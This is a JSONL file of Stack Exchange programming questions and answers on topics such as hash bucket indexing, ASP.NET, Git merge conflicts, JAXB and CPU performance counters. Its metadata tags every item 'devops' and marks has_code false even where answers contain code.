{"id": "hf_2b56d9091479", "question": "<p>While calculating the hash table bucket index from the hash code of a key, why do we avoid use of remainder after division (modulo) when the size of the array of buckets is a power of 2?</p>\n", "question_body": "", "answer": "When calculating the hash, you want as much information as you can cheaply munge things into with good distribution across the entire range of bits: e.g. 32-bit unsigned integers are usually good, unless you have a lot (>3 billion) of items to store in the hash table.\nIt's converting the hash code into a bucket index that you're really interested in. When the number of buckets n is a power of two, all you need to do is do an AND operation between hash code h and (n-1), and the result is equal to h mod n.\nA reason this may be bad is that the AND operation is simply discarding bits - the high-level bits - from the hash code. This may be good or bad, depending on other things. On one hand, it will be very fast, since AND is a lot faster than division (and is the usual reason why you would choose to use a power of 2 number of buckets), but on the other hand, poor hash functions may have poor entropy in the lower bits: that is, the lower bits don't change much when the data being hashed changes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.179642"}
{"id": "hf_9a59ee3ad87b", "question": "<p>I am having a number of panels in my page in which I am collecting user information and saving the page details. The page panel has textbox, dropdown list, listbox.</p>\n\n<p>When I need to come to this page. I need to show the Page if these controls have any values. How to do this?</p>\n", "question_body": "", "answer": "It boils down to enumerating all the controls in the control hierarchy:\n```\n```\nIEnumerable<Control> EnumerateControlsRecursive(Control parent)\n    {\n        foreach (Control child in parent.Controls)\n        {\n            yield return child;\n            foreach (Control descendant in EnumerateControlsRecursive(child))\n                yield return descendant;\n        }\n    }\n```\n```\nYou can use it like this:\n```\n```\nforeach (Control c in EnumerateControlsRecursive(Page))\n        {\n            if(c is TextBox)\n            {\n                // do something useful\n            }\n        }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.217631"}
{"id": "hf_968b45d8763f", "question": "<p>I've always wondered why the C++ Standard library has instantiated basic_[io]stream and all its variants using the <code>char</code> type instead of the <code>unsigned char</code> type. <code>char</code> means (depending on whether it is signed or not) you can have overflow and underflow for operations like get(), which will lead to implementation-defined value of the variables involved. Another example is when you want to output a byte, unformatted, to an ostream using its <code>put</code> function.</p>\n\n<p>Any ideas?</p>\n\n<hr>\n\n<p><strong>Note</strong>: I'm still not really convinced. So if you know the definitive answer, you can still post it indeed.</p>\n", "question_body": "", "answer": "Possibly I've misunderstood the question, but conversion from unsigned char to char isn't unspecified, it's implementation-dependent (4.7-3 in the C++ standard).\nThe type of a 1-byte character in C++ is \"char\", not \"unsigned char\". This gives implementations a bit more freedom to do the best thing on the platform (for example, the standards body may have believed that there exist CPUs where signed byte arithmetic is faster than unsigned byte arithmetic, although that's speculation on my part). Also for compatibility with C. The result of removing this kind of existential uncertainty from C++ is C# ;-)\nGiven that the \"char\" type exists, I think it makes sense for the usual streams to use it even though its signedness isn't defined. So maybe your question is answered by the answer to, \"why didn't C++ just define char to be unsigned?\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.243245"}
{"id": "hf_5f5b99ebc9a6", "question": "<p>3/10/2008 = 1822556159</p>\n\n<p>2/10/2008 = 1822523391</p>\n\n<p>1/10/2008 = 1822490623</p>\n\n<p>30/09/2008 = 1822392319</p>\n\n<p>29/09/2008 = 1822359551</p>\n\n<p>This is all the information that I know at the current time. </p>\n\n<p>Dates increment by 32768 except when changing month when the increment is 32768 x 2 (65536).</p>\n\n<p>Has anyone seen this binary date format and how can I extract the correct date?</p>\n\n<hr>\n\n<p>It is possible that the remaining portion of the date is for time (hours, minutes, seconds)</p>\n", "question_body": "", "answer": "September 30th 2008\n```\n```\n1822392319 = 0x6c9f7fff\n0x6c = 108 = 2008 (based on 1900 start date)\n0x9 = 9 = September\n0xf7fff - take top 5 bits = 0x1e = 30\n```\n```\nOctober 1st 2008\n```\n```\n1822490623 = 0x6ca0ffff\n0x6c = 108 = 2008\n0xa = 10  = October\n0x0ffff  - take top 5 bits = 0x01 = 1\n```\n```\nIt's anyone's guess what the remaining 15 one-bits are for, if anything.\nEDIT:  by take top 5 bits I mean:\n```\n```\nday_of_month = (value >> 15) & 0x1f\n```\n```\nSimilarly:\n```\n```\nyear = (value >> 24) & 0xff + 1900\nmonth = (value >> 20) & 0x0f\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.268642"}
{"id": "hf_d3118d5aa5e5", "question": "<p>I'm passing small (2-10 KB)XML documents as input to a WCF service. now I've two option to read data values from incoming XML</p>\n\n<ol>\n<li>Deserialize to a strongly typed object and use object properties to access values</li>\n<li>use XPath to access values</li>\n</ol>\n\n<p>which approach is faster? some statistics to support your answer would be great.</p>\n", "question_body": "", "answer": "There's a third option of sticking with XML, but query with whatever XML API you're using - e.g. LINQ to XML makes queries relatively straightforward in code.\nHave you already parsed the text into an XML document?\nAre you convinced that this is actually a significant performance bottleneck in your code? (e.g. if you're then talking to a database, then don't worry about this to start with - just get it to work in the simplest way first)\nAre the queries always the same, or are they dynamic in some way?\nDo you have a test rig with realistic messages and queries? If not, you need one in order to evaluate any answers given here with\nyour\ndata. If you do, I would expect it to be reasonably easy to try it yourself :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.293806"}
{"id": "hf_31dc665c6f5d", "question": "<p>i tried the following</p>\n\n<ol>\n<li><code>svnadmin create svn_repos</code></li>\n<li><code>svn import my_first_proj file:///c:/svn_repos -m \"initial import\"</code></li>\n<li><code>svn checkout file:///c:/svn_repos</code></li>\n</ol>\n\n<p>and the command returned</p>\n\n<pre><code>A    svn_repos\\trunk\nA    svn_repos\\trunk\\Sample.txt.txt\nA    svn_repos\\branches\nA    svn_repos\\branches\\my_pers_branch\nChecked out revision 1.\n</code></pre>\n\n<p>Yet the <code>.svn</code> folder was not created in the checked out folders.\nBecause of which [I guess], I'm not able to do <code>svn  copy</code> or <code>svn merge</code>.</p>\n\n<p>Why does this occur?\nwhat is the problem?\nis there anything wrong in my commands</p>\n", "question_body": "", "answer": "Are you sure it's not just hidden (they are by default)?\nTry running\n```\ndir /AH\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.335159"}
{"id": "hf_0c01da67d474", "question": "<p>I am trying to use the Recurring payment API offered by PayPal.\nI have a scenario which I am not able to address directly. It goes like this.</p>\n\n<p>We have a website where we sell some services. Now the services are charged per user license. A user can buy/cancel user license in between. We want to offer the customer a recurring billing option. We have to notice here that the amount may vary each billing cycle based on the number of user licenses the customer uses during that cycle.</p>\n\n<p>Is there any way I can achieve this using PayPal recurring Payment API's.</p>\n", "question_body": "", "answer": "The recurring payment option is a fixed amount that the customer pre-agrees to pay each month (or period).  To do what you're trying to do, a customer would have to pre-agree to pay whatever amount you decide to charge at a later time.  This means pre-authorizing an unknown payment amount, which will not be allowed by any payment service.\nYour only options are:\nBill the variable amount each month (i.e. no subscription).\nSet up a subscription where the monthly amount is the maximum that could potentially be billed, and then refund the difference each month.\nGood luck with #2 - I would never agree to such a thing as a customer, personally.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.393509"}
{"id": "hf_97cf1df3e6a4", "question": "<p>In particular what strengths does it have over caching features of Asp.net</p>\n", "question_body": "", "answer": "memcached is a distributed cache -- the whole cache can be spread into multiple boxes. so for example you can use memcached to store session data in cluster environment, so this data is available to any box of the cluster.\nmemcached can be compared to Microsoft's Velocity (\nhttp://blogs.msdn.com/velocity/\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.417625"}
{"id": "hf_41d99f6f9180", "question": "<p>How do I create, execute and control a winform from within a console application?</p>\n", "question_body": "", "answer": "The easiest option is to start a windows forms project, then change the output-type to Console Application. Alternatively, just add a reference to System.Windows.Forms.dll, and start coding:\n```\n```\nusing System.Windows.Forms;\n\n[STAThread]\nstatic void Main() {\n    Application.EnableVisualStyles();\n    Application.Run(new Form()); // or whatever\n}\n```\n```\nThe important bit is the\n```\n[STAThread]\n```\non your\n```\nMain()\n```\nmethod, required for full COM support.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.441138"}
{"id": "hf_3df276e48bf1", "question": "<p>I'm using Java's <a href=\"http://java.sun.com/j2se/1.5.0/docs/api/javax/xml/transform/Transformer.html\" rel=\"nofollow noreferrer\">Transformer</a> class to process an XML Document object.</p>\n\n<p>This is the code that creates the Transformer:</p>\n\n<pre><code>import javax.xml.transform.TransformerFactory;\nimport javax.xml.transform.OutputKeys;\nimport javax.xml.transform.Transformer;\n\nTransformer transformer = TransformerFactory.newInstance().newTransformer();\ntransformer.setOutputProperty(OutputKeys.INDENT, \"no\");\ntransformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, \"yes\");\n\ntransformer.transform(source, result);\n</code></pre>\n\n<p>Currently, my output looks like this: &lt;svg ... /&gt;. I'd like it to include the namespace of each element, as in &lt;svg:svg ... /&gt;</p>\n\n<p>How can I do that ?</p>\n", "question_body": "", "answer": "The package description for\njavax.xml.transform\nhas a section\nQualified Name Representation\nwhich seems to imply that it is possible to get the namespace represented in both input and output.\nIt isn't really clear to me what the result would look like, other than the namespace URI would be included.\nGive it a try - hopefully someone else will have more concrete experience.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.488133"}
{"id": "hf_55fdaf1a2324", "question": "<p>Is there a catch or hidden problem in using a <a href=\"http://www.danrigsby.com/blog/index.php/2008/03/15/disposable-base-class/\" rel=\"nofollow noreferrer\">DisposableBase base class</a> instead of recoding the Dispose pattern on every class?</p>\n\n<p>Why aren't everyone using such a <strong>relevant</strong> class?</p>\n\n<p><strong>Edits</strong>:</p>\n\n<ol>\n<li><p>I naturally only meant classes that implement IDisposable</p></li>\n<li><p>I know it uses up the option for inheritance, but I'm willing to pay the price (at least when I can and it doesn't hurt me otherwise).</p></li>\n<li><p>When I can seal the class, I do - but I have some cases where I want the base of an inheritance hierarchy to be Disposable.</p></li>\n</ol>\n", "question_body": "", "answer": "You don't need to implement Dispose() on\nevery\nclass - just those with something that needs deterministic cleanup. Re a Disposable base-class, I'm not entirely sure it provides a whole lot -\n```\nIDisposable\n```\nisn't a complex interface. The main time it might be useful is if you are handling unmanaged resources and want a finalizer, but even then it isn't much code.\nPersonally, I wouldn't bother with such a base class. In particular, inheritance (in a single-inheritance world) gets restrictive very quickly. But more to the point, overriding a method isn't much different to simply providing a public Dispose() method.\nAgain: you only need a finalizer etc if you are handling unmanaged objects.\nIf I had a lot of these (unmanaged resouces), I might see whether I could get\nPostSharp\nto do the work for me. I don't know if one already exists, but it\nmight\nbe possible to create an aspect that handles (in particular) the finalizer etc. Who knows...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.538664"}
{"id": "hf_ccce64762ef9", "question": "<p>I have a DAV server (Oracle Portal in this case). If I open word and then enter the DAV URL of a document, I'm correctly prompted for username/password and the document is checked out. I can edit it and just click Save to save it back to the server. So far, so good.</p>\n\n<p>What I need is a link on a web page that will open the document for editing in Word. If I just use the same URL as I use in the File Open dialog in Word, I get a read-only copy, and the File Save dialog suggests to save it locally. </p>\n\n<p>Is there a way to open a document for DAV editing directly from a hyperlink? </p>\n", "question_body": "", "answer": "No. The dav protocol uses standard HTTP transactions, and unless the client is aware of the support for DAV, it won't know to use it.\nWord is likely not DAV aware, and you're relying on people mounting DAV devices as a mounted network drive.\nIE: As far as words concerned, its just like any other URL.\n( Unless there is a way to tell word its specifically on a DAVFS system, via a url with a different protocol specifier, for example  davfs://www.google.com/  if davfs happened to be a registered protocol that your client recognised, this of course makes too much sense, and for that reason alone, you are unlikely to find it supported in windows )", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.589159"}
{"id": "hf_92ffb2301598", "question": "<p>I need to check the <code>RequestType</code> of an <code>HttpRequest</code> in ASP.NET (or <code>WebRequest.Method</code>). I know that I can just use the string values \"<code>POST</code>\" or \"<code>GET</code>\" for the request type, but I could have sworn there was a constant somewhere in some class in .NET that contained the values.</p>\n\n<p>Out of curiosity I was wondering if anyone knew what class these string constants for <code>GET</code> and <code>POST</code> were in. I've tried searching online but I've had no luck, so I thought I'd ask here.</p>\n", "question_body": "", "answer": "```\n```\nSystem.Net.WebRequestMethods.Http\n    .Connect = \"CONNECT\"\n    .Get = \"GET\"\n    .Head = \"HEAD\"\n    .MkCol = \"MKCOL\"\n    .Post = \"POST\"\n    .Put = \"PUT\"\n```\n```\nUltimately, though; since\n```\nconst\n```\nexpressions are burned into the caller, this is identical to using \"GET\" etc, just without the risk of a typo.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.663558"}
{"id": "hf_707286b1012c", "question": "<p>Is it alright to do this?</p>\n\n<pre><code>$author = strtolower($_SESSION['valid_username']);\n</code></pre>\n\n<p>I want to enter all authors into the table as lower case.</p>\n", "question_body": "", "answer": "Yes, that's fine as long as\n```\n$_SESSION['valid_username']\n```\nis set, otherwise you'll get a notice (if your error reporting is set that low).\nYou can check if it exists with\n```\nif (isset($_SESSION['valid_username']))\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.700882"}
{"id": "hf_9ed94aa26060", "question": "<p>How can we find the junit tests in our suite that take the longest amount of time to run?  The default output of the junitreport ant task is helpful, but our suite has thousands of tests organized into many smaller suites, so it gets tedious, and the worst offenders are always changing.</p>\n\n<p>We use luntbuild but ideally it would be something we could just run from ant.</p>\n", "question_body": "", "answer": "Use\nTeamCity\n. They have great reports, and version 4.0 even orders your tests so the most flaky tests run first.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.780659"}
{"id": "hf_cae11658040c", "question": "<p>I'm trying to expand navigation options of the context menu on certain elements (specifically, <code>h1</code> and <code>h2</code> tags)\nI want to prevent the browser's default action when right-clicking on those elements.</p>\n\n<p>I found nice information at <a href=\"http://ajaxcookbook.org/disable-browser-context-menu/\" rel=\"nofollow noreferrer\">this page</a>.</p>\n\n<p>However, I couldn't find how to disable the context menu for certain elements. Does someone know how to do it?</p>\n\n<p>I'm using prototype as my javascript API.</p>\n", "question_body": "", "answer": "This will prevent the context menu from appearing on a particular element\n```\n```\n$(it).observe(\"contextmenu\", function(e){\n    e.stop();\n});\n```\n```\nSo, for example stop all H1/H2 tags from showing a context menu\n```\n```\n$$('h1, h2').each(function(it){\n    $(it).observe(\"contextmenu\", function(e){\n        e.stop();\n    });\n})\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.806024"}
{"id": "hf_65fd316e6c09", "question": "<p>My huge 32-bit web services LLBLGen-based data access application is running alone on a dedicated 64-bit machine. Its physical memory consumption steadily grows up to approximately 2GB when the process releases almost all of the allocated space (up to 1,5GB) and continues to grow from that point again. There is no observable increase in Page Input values or other page file usage parameters so it looks like the memory is released rather than being swapped out to page file. I am thinking what kind of profile is this? There is nothing to actually prevent the process from grabbing all memory it can, on the other hand there are unacceptable http internal errors around the memory release - probably the clean-up blocks useful work. What would be a good strategy to make the cleanup less obtrusive, given the above is an acceptable behaviour in the first place.</p>\n", "question_body": "", "answer": "The Garbage Collector doesn't automatically free memory when it releases objects, it holds on to that memory to help minimise the expense of future mallocs.\nWhen a low memory condition is triggered that memory will be returned to the OS and you will see more available memory when looking through task manager.  This will normally happen about the 2GB mark, or 3GB if you use the\nrelevant switch\n.\n```\n<contentious>\n```\nBy setting objects to null when they are dead you can encourage the GC to reuse the memory consumed by those objects, this limiting the growing consumption of memory.\nBut which objects should you set to null?  Big objects, large collections, frequently created objects.\n```\n</contentious>\n```\nEDIT\n: There is evidence to support the value of setting objects to null.  See\nthis\nfor detail.  Of course there is no\nneed\nto set objects to null, the point is does it help memory management in any way?\nEDIT\n: We need a recent benchmark if such a thing exists rather than continuing to opine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.831312"}
{"id": "hf_e37c513f102f", "question": "<p>What is the functional equivalent of <a href=\"http://msdn.microsoft.com/en-us/netframework/aa663324.aspx\" rel=\"noreferrer\">Windows Communication Foundation</a> in Java 6?</p>\n", "question_body": "", "answer": "I don't know what all WCF contains, but\nJAX-WS\n(and its reference implementation\nMetro\n) might be a good starting point.\nSome of the other\ntechnologies in J2EE\nmay apply as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.906976"}
{"id": "hf_64741d16b4ae", "question": "<p>I would like to hear opinions or peoples experiences regarding <a href=\"http://dbappbuilder.sourceforge.net/Rel.php\" rel=\"nofollow noreferrer\">Rel</a>.  Is it destined for the dustbin, or is it the next big thing in programming?  I haven't tried doing anything with it yet (and it looks like you really can't at this point), but I'm intrigued by a few of the concepts discussed in it.  Notably:</p>\n\n<ol>\n<li>Removal of nulls completely from the data handling part of the language.</li>\n<li>No need for mapping types between the language and the data storage.</li>\n<li>Nesting tables</li>\n<li>Complete separation of design and implementation.</li>\n</ol>\n\n<p>Thoughts?</p>\n", "question_body": "", "answer": "I think it is intended as an aid to\nteaching\nthe pure relational model, not as a competitor to SQL DBMSs for \"real work\" in the short or medium term.  However, Date and Darwen make a compelling case for the proper implementation of the relational model in their book\nThe Third Manifesto\n.  Maybe one day someone will produce a successful product based on it.  After all, Oracle was a very small, niche company once!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.955705"}
{"id": "hf_ed7b9558a676", "question": "<p>I have a table of events with a recorded start and end time as a MySQL DATETIME object (in the format <code>YYYY-MM-DD HH:MM:SS</code>. I want to find all events that occur in a specific date range. However, events can span multiple days (and go outside of my date range, but I want to return them if they even overlap by 1 second or more with my date range).</p>\n\n<p>Suggestions?</p>\n", "question_body": "", "answer": "```\n```\nSELECT *\nFROM table\nWHERE startdate >= 'starting date' AND startdate < 'ending date'\n    OR enddate >= 'starting date' AND enddate < 'ending date'\n```\n```\nshould work for you.\nMake sure you specify 'starting date' and 'ending date' with the time included.\n```\n```\n'2008-01-01 00:00:00'' AND '2008-01-31 23:59:59'\n```\n```\nThis will help to avoid errors where dates are the same, but your time falls within the interval by a few hours, minutes, or seconds.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.993713"}
{"id": "hf_4f0fa732657e", "question": "<p>Do you know of a JAXB setting to prevent <strong>standalone=\"yes\"</strong> from being generated in the resulting XML?</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?&gt;\n</code></pre>\n", "question_body": "", "answer": "This property:\n```\n```\nmarshaller.setProperty(\"com.sun.xml.bind.xmlDeclaration\", false);\n```\n```\n...can be used to have no:\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n```\n```\nHowever, I wouldn't consider this best practice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:51.044086"}
{"id": "hf_9474979bc6ef", "question": "<p>I know that to find all the <code>.h</code> files I need to use:</p>\n\n<pre><code>find . -name \"*.h\"\n</code></pre>\n\n<p>but how to find all the <code>.h</code> AND <code>.cpp</code> files?</p>\n", "question_body": "", "answer": "```\n```\nfind . -name \\*.h -print -o -name \\*.cpp -print\n```\n```\nor\n```\n```\nfind . \\( -name \\*.h -o -name \\*.cpp \\) -print\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:51.082320"}
{"id": "hf_597e3557e516", "question": "<p>I have an authentication script (<strong><code>CheckLogin.aspx</code></strong>), and if any of the credentials do not match my application will redirect (via <strong><code>Server.Transfer</code></strong>) to the access denied page (<strong><code>forbidden.aspx</code></strong>).  Each time my script runs,it gets an <strong><code>InvalidOperationException: Failed to map the path '/forbidden.aspx'</code></strong>.  Here is a mockup of my applications file structure:</p>\n\n<pre><code>&lt;root&gt;\n..default.aspx\n..forbidden.aspx\n..&lt;inc&gt;\n....scripts.js\n..&lt;auth&gt;\n....CheckLogin.aspx\n</code></pre>\n\n<p>As you can see, the <strong><code>CheckLogin.aspx</code></strong> page is in a folder inside the root, and the <strong><code>forbidden.aspx</code></strong> page is inside the root itself.  The path I am telling my application to redirect to is <strong><code>/forbidden.aspx</code></strong>.</p>\n", "question_body": "", "answer": "Sometimes you have to precede the page path with a tilde to indicate the root directory:\n```\n```\n'~/forbidden.aspx'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:51.156082"}
{"id": "hf_7736a8acc2d2", "question": "<p>I'm working with a third party to integrate some of our systems with theirs and they provide us with a SOAP interface to make certain requests and changes in their connected systems. The problem for me is that they do not supply a WSDL-file for me to work against. If I had a WSDL-file it would be a simple matter just to run the supplied .NET command (wsdl.exe) and generate a proxy class to interact with the service.</p>\n\n<p>Is there an \"easy\" way to do this without a WSDL-file? I have all the functions that we can access and what parameters I need to send and what I should expect in return.</p>\n\n<p>Is it common to have a SOAP-service without WSDL-files? (I'm asking this since we're going to add more external systems into the mix in the future)</p>\n\n<p>Has anyone done a proxy-class or any other form of client against a WDSL-less service and have any good pointers on how to do it?</p>\n", "question_body": "", "answer": "I haven't built a SOAP interface without access to a WSDL file, but the format is\nfairly well-documented\n.  Your best bet might be to create a simplified WSDL file of your own that reflects what you know of the service you're subscribing to....\nIf you decide to go this route, an\nexisting stackoverflow question\npoints at some tools for validating your WSDL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:51.183524"}
{"id": "hf_740e4cc6a13c", "question": "<p>I want to get the overall total CPU usage for an application in C#. I've found many ways to dig into the properties of processes, but I only want the CPU usage of the processes, and the total CPU like you get in the TaskManager.</p>\n\n<p>How do I do that?</p>\n", "question_body": "", "answer": "You can use the\nPerformanceCounter\nclass from\nSystem.Diagnostics\n.\nInitialize like this:\n```\n```\nPerformanceCounter cpuCounter;\nPerformanceCounter ramCounter;\n\ncpuCounter = new PerformanceCounter(\"Processor\", \"% Processor Time\", \"_Total\");\nramCounter = new PerformanceCounter(\"Memory\", \"Available MBytes\");\n```\n```\nConsume like this:\n```\n```\npublic string getCurrentCpuUsage(){\n            return cpuCounter.NextValue()+\"%\";\n}\n\npublic string getAvailableRAM(){\n            return ramCounter.NextValue()+\"MB\";\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:51.267612"}
{"id": "hf_9fc0a4dbdc34", "question": "<p>I've been using Git on Windows (msysgit) to track changes for some design work I've been doing.</p>\n\n<p>Today I've been working on a different PC (with remote repo <code>brian</code>) and I'm now trying to merge the edits done today back into my regular local version on my laptop.</p>\n\n<p>On my laptop, I've used <code>git pull brian master</code> to pull the changes into my local version. Everything was fine apart from the main InDesign document - this shows as a conflict.</p>\n\n<p>The version on the PC (<code>brian</code>) is the latest one that I want to keep but I don't know what commands tells the repo to use this one. </p>\n\n<p>I tried directly copying the file across onto my laptop but this seems to break the whole merge process.</p>\n\n<p>Can anyone point me in the right direction?</p>\n", "question_body": "", "answer": "You have to resolve the conflict manually (copying the file over) and then commit the file (no matter if you copied it over or used the local version) like this\n```\n```\ngit commit -a -m \"Fix merge conflict in test.foo\"\n```\n```\nGit normally autocommits after merging, but when it detects conflicts it cannot solve by itself, it applies all patches it figured out and leaves the rest for you to resolve and commit manually. The\nGit Merge Man Page\n, the\nGit-SVN Crash Course\nor\nthis\nblog entry might shed some light on how it's supposed to work.\nEdit:\nSee the post below, you don't actually have to copy the files yourself, but can use\n```\n```\ngit checkout --ours -- path/to/file.txt\ngit checkout --theirs -- path/to/file.txt\n```\n```\nto select the version of the file you want. Copying / editing the file will only be necessary if you want a mix of both versions.\nPlease mark mipadis answer as the correct one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:51.305160"}
{"id": "hf_9a902b9e4818", "question": "<p>What is a good way to create and read an OpenOffice spreadsheet in Perl?</p>\n", "question_body": "", "answer": "OpenOffice supports a number of formats, if you are looking for something that can read/write Excel-compatible spreadsheets check out\nSpreadsheet::ParseExcel\nfor reading, and\nSpreadsheet::WriteExcel\nfor writing.  I have used them both, they are pretty mature and work well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:51.350441"}
{"id": "hf_ba78769eba15", "question": "<p>and to spice things a bit , what is the best approach for globalization in Asp.net Mvc App </p>\n", "question_body": "", "answer": "From the\nW3C I18n FAQ\n:\nLocalization refers to the adaptation of a product, application or document content to meet the language, cultural and other requirements of a specific target market (a \"locale\").\nInternationalization (or globalization) is the design and development of a product, application or document content that enables easy localization for target audiences that vary in culture, region, or language.\nI've never globalized an ASP.NET MVC application, so sorry if I can't help you there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:51.447092"}
